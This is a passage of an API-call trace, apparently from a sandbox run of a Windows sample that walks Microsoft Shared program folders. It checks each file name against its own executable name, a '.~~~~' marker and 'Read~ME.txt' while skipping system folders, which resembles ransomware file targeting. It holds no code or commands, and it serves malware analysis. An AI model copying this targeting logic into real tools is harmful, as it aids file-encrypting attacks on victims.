	[0076.305] StrStrW (lpFirst="OPTINPS.DLL", lpSrch=".~~~~") returned 0x0
	[0076.305] lstrcmpW (lpString1="OPTINPS.DLL", lpString2="Read~ME.txt") returned -1
	[0076.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.305] GetCurrentThreadId () returned 0x618
	[0076.305] RtlWakeConditionVariable () returned 0x365f48
	[0076.305] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1
	[0076.305] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="Windows") returned -1
	[0076.305] lstrcmpW (lpString1="PJ11OD11.DLL", lpString2="oiikyy.exe") returned 1
	[0076.305] StrStrW (lpFirst="PJ11OD11.DLL", lpSrch=".~~~~") returned 0x0
	[0076.306] lstrcmpW (lpString1="PJ11OD11.DLL", lpString2="Read~ME.txt") returned -1
	[0076.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7e28
	[0076.306] GetCurrentThreadId () returned 0x618
	[0076.306] RtlWakeConditionVariable () returned 0x365f48
	[0076.306] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1
	[0076.306] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="Windows") returned -1
	[0076.306] lstrcmpW (lpString1="PJRESC.DLL", lpString2="oiikyy.exe") returned 1
	[0076.306] StrStrW (lpFirst="PJRESC.DLL", lpSrch=".~~~~") returned 0x0
	[0076.306] lstrcmpW (lpString1="PJRESC.DLL", lpString2="Read~ME.txt") returned -1
	[0076.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.306] GetCurrentThreadId () returned 0x618
	[0076.306] RtlWakeConditionVariable () returned 0x365f48
	[0076.306] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1
	[0076.306] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="Windows") returned -1
	[0076.306] lstrcmpW (lpString1="PRJRES.DLL", lpString2="oiikyy.exe") returned 1
	[0076.306] StrStrW (lpFirst="PRJRES.DLL", lpSrch=".~~~~") returned 0x0
	[0076.306] lstrcmpW (lpString1="PRJRES.DLL", lpString2="Read~ME.txt") returned -1
	[0076.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.306] GetCurrentThreadId () returned 0x618
	[0076.306] RtlWakeConditionVariable () returned 0x365f48
	[0076.306] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1
	[0076.306] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="Windows") returned -1
	[0076.306] lstrcmpW (lpString1="RICHED20.DLL", lpString2="oiikyy.exe") returned 1
	[0076.306] StrStrW (lpFirst="RICHED20.DLL", lpSrch=".~~~~") returned 0x0
	[0076.306] lstrcmpW (lpString1="RICHED20.DLL", lpString2="Read~ME.txt") returned 1
	[0076.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7e28
	[0076.306] GetCurrentThreadId () returned 0x618
	[0076.306] RtlWakeConditionVariable () returned 0x365f48
	[0076.307] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1
	[0076.307] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="Windows") returned -1
	[0076.307] lstrcmpW (lpString1="SERCONV.DLL", lpString2="oiikyy.exe") returned 1
	[0076.307] StrStrW (lpFirst="SERCONV.DLL", lpSrch=".~~~~") returned 0x0
	[0076.307] lstrcmpW (lpString1="SERCONV.DLL", lpString2="Read~ME.txt") returned 1
	[0076.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.307] GetCurrentThreadId () returned 0x618
	[0076.307] RtlWakeConditionVariable () returned 0x365f48
	[0076.307] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1
	[0076.307] lstrcmpiW (lpString1="USP10.DLL", lpString2="Windows") returned -1
	[0076.307] lstrcmpW (lpString1="USP10.DLL", lpString2="oiikyy.exe") returned 1
	[0076.307] StrStrW (lpFirst="USP10.DLL", lpSrch=".~~~~") returned 0x0
	[0076.307] lstrcmpW (lpString1="USP10.DLL", lpString2="Read~ME.txt") returned 1
	[0076.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.307] GetCurrentThreadId () returned 0x618
	[0076.307] RtlWakeConditionVariable () returned 0x365f48
	[0076.307] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1
	[0076.307] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="Windows") returned -1
	[0076.307] lstrcmpW (lpString1="VBAJET32.DLL", lpString2="oiikyy.exe") returned 1
	[0076.307] StrStrW (lpFirst="VBAJET32.DLL", lpSrch=".~~~~") returned 0x0
	[0076.307] lstrcmpW (lpString1="VBAJET32.DLL", lpString2="Read~ME.txt") returned 1
	[0076.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7e28
	[0076.307] GetCurrentThreadId () returned 0x618
	[0076.307] RtlWakeConditionVariable () returned 0x365f48
	[0076.307] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1
	[0076.307] lstrcmpiW (lpString1="WISC30.DLL", lpString2="Windows") returned 1
	[0076.308] lstrcmpW (lpString1="WISC30.DLL", lpString2="oiikyy.exe") returned 1
	[0076.308] StrStrW (lpFirst="WISC30.DLL", lpSrch=".~~~~") returned 0x0
	[0076.308] lstrcmpW (lpString1="WISC30.DLL", lpString2="Read~ME.txt") returned 1
	[0076.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.308] GetCurrentThreadId () returned 0x618
	[0076.308] RtlWakeConditionVariable () returned 0x365f48
	[0076.308] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0
	[0076.308] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0076.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.308] GetCurrentThreadId () returned 0x618
	[0076.308] RtlWakeConditionVariable () returned 0x365f48
	[0076.309] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0076.309] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Windows") returned -1
	[0076.309] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1
	[0076.309] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1
	[0076.309] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="AppData") returned 1
	[0076.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform", lpSrch="AppData") returned 0x0
	[0076.309] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.309] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform", lpString2="C:\\Windows") returned -1
	[0076.309] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.309] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform", lpString2="C:\\System Volume Information") returned -1
	[0076.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0076.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0076.310] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.311] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.311] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.311] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.311] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.311] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.311] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.311] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.311] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.311] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.311] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.311] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.311] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1
	[0076.311] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="Windows") returned -1
	[0076.311] lstrcmpW (lpString1="OSPPC.DLL", lpString2="oiikyy.exe") returned 1
	[0076.311] StrStrW (lpFirst="OSPPC.DLL", lpSrch=".~~~~") returned 0x0
	[0076.311] lstrcmpW (lpString1="OSPPC.DLL", lpString2="Read~ME.txt") returned -1
	[0076.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.311] GetCurrentThreadId () returned 0x618
	[0076.311] RtlWakeConditionVariable () returned 0x365f48
	[0076.311] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1
	[0076.311] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="Windows") returned -1
	[0076.311] lstrcmpW (lpString1="OSPPCEXT.DLL", lpString2="oiikyy.exe") returned 1
	[0076.311] StrStrW (lpFirst="OSPPCEXT.DLL", lpSrch=".~~~~") returned 0x0
	[0076.311] lstrcmpW (lpString1="OSPPCEXT.DLL", lpString2="Read~ME.txt") returned -1
	[0076.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.312] GetCurrentThreadId () returned 0x618
	[0076.312] RtlWakeConditionVariable () returned 0x365f48
	[0076.312] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1
	[0076.312] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="Windows") returned -1
	[0076.312] lstrcmpW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="oiikyy.exe") returned 1
	[0076.312] StrStrW (lpFirst="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".~~~~") returned 0x0
	[0076.312] lstrcmpW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="Read~ME.txt") returned -1
	[0076.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100) returned 0x3a3178
	[0076.312] GetCurrentThreadId () returned 0x618
	[0076.312] RtlWakeConditionVariable () returned 0x365f48
	[0076.312] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1
	[0076.312] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="Windows") returned -1
	[0076.312] lstrcmpW (lpString1="OSPPOBJS.DLL", lpString2="oiikyy.exe") returned 1
	[0076.312] StrStrW (lpFirst="OSPPOBJS.DLL", lpSrch=".~~~~") returned 0x0
	[0076.312] lstrcmpW (lpString1="OSPPOBJS.DLL", lpString2="Read~ME.txt") returned -1
	[0076.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.312] GetCurrentThreadId () returned 0x618
	[0076.312] RtlWakeConditionVariable () returned 0x365f48
	[0076.312] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1
	[0076.312] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="Windows") returned -1
	[0076.312] lstrcmpW (lpString1="OSPPREARM.EXE", lpString2="oiikyy.exe") returned 1
	[0076.312] StrStrW (lpFirst="OSPPREARM.EXE", lpSrch=".~~~~") returned 0x0
	[0076.312] lstrcmpW (lpString1="OSPPREARM.EXE", lpString2="Read~ME.txt") returned -1
	[0076.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.312] GetCurrentThreadId () returned 0x618
	[0076.312] RtlWakeConditionVariable () returned 0x365f48
	[0076.312] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1
	[0076.312] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="Windows") returned -1
	[0076.312] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="oiikyy.exe") returned 1
	[0076.313] StrStrW (lpFirst="OSPPSVC.EXE", lpSrch=".~~~~") returned 0x0
	[0076.313] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="Read~ME.txt") returned -1
	[0076.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.313] GetCurrentThreadId () returned 0x618
	[0076.313] RtlWakeConditionVariable () returned 0x365f48
	[0076.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1
	[0076.313] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="Windows") returned -1
	[0076.313] lstrcmpW (lpString1="OSPPWMI.DLL", lpString2="oiikyy.exe") returned 1
	[0076.313] StrStrW (lpFirst="OSPPWMI.DLL", lpSrch=".~~~~") returned 0x0
	[0076.313] lstrcmpW (lpString1="OSPPWMI.DLL", lpString2="Read~ME.txt") returned -1
	[0076.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.313] GetCurrentThreadId () returned 0x618
	[0076.313] RtlWakeConditionVariable () returned 0x365f48
	[0076.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1
	[0076.313] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="Windows") returned -1
	[0076.313] lstrcmpW (lpString1="OSPPWMI.MOF", lpString2="oiikyy.exe") returned 1
	[0076.313] StrStrW (lpFirst="OSPPWMI.MOF", lpSrch=".~~~~") returned 0x0
	[0076.313] lstrcmpW (lpString1="OSPPWMI.MOF", lpString2="Read~ME.txt") returned -1
	[0076.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.313] GetCurrentThreadId () returned 0x618
	[0076.313] RtlWakeConditionVariable () returned 0x365f48
	[0076.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0
	[0076.313] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0076.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.314] GetCurrentThreadId () returned 0x618
	[0076.314] RtlWakeConditionVariable () returned 0x365f48
	[0076.314] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0076.314] lstrcmpiW (lpString1="PROOF", lpString2="Windows") returned -1
	[0076.314] lstrcmpW (lpString1="PROOF", lpString2=".") returned 1
	[0076.314] lstrcmpW (lpString1="PROOF", lpString2="..") returned 1
	[0076.314] lstrcmpW (lpString1="PROOF", lpString2="AppData") returned 1
	[0076.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF", lpSrch="AppData") returned 0x0
	[0076.315] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.315] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF", lpString2="C:\\Windows") returned -1
	[0076.315] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.315] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF", lpString2="C:\\System Volume Information") returned -1
	[0076.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0076.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0076.409] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.409] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.409] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.415] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.415] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.415] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.415] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.427] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.428] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.428] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.428] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
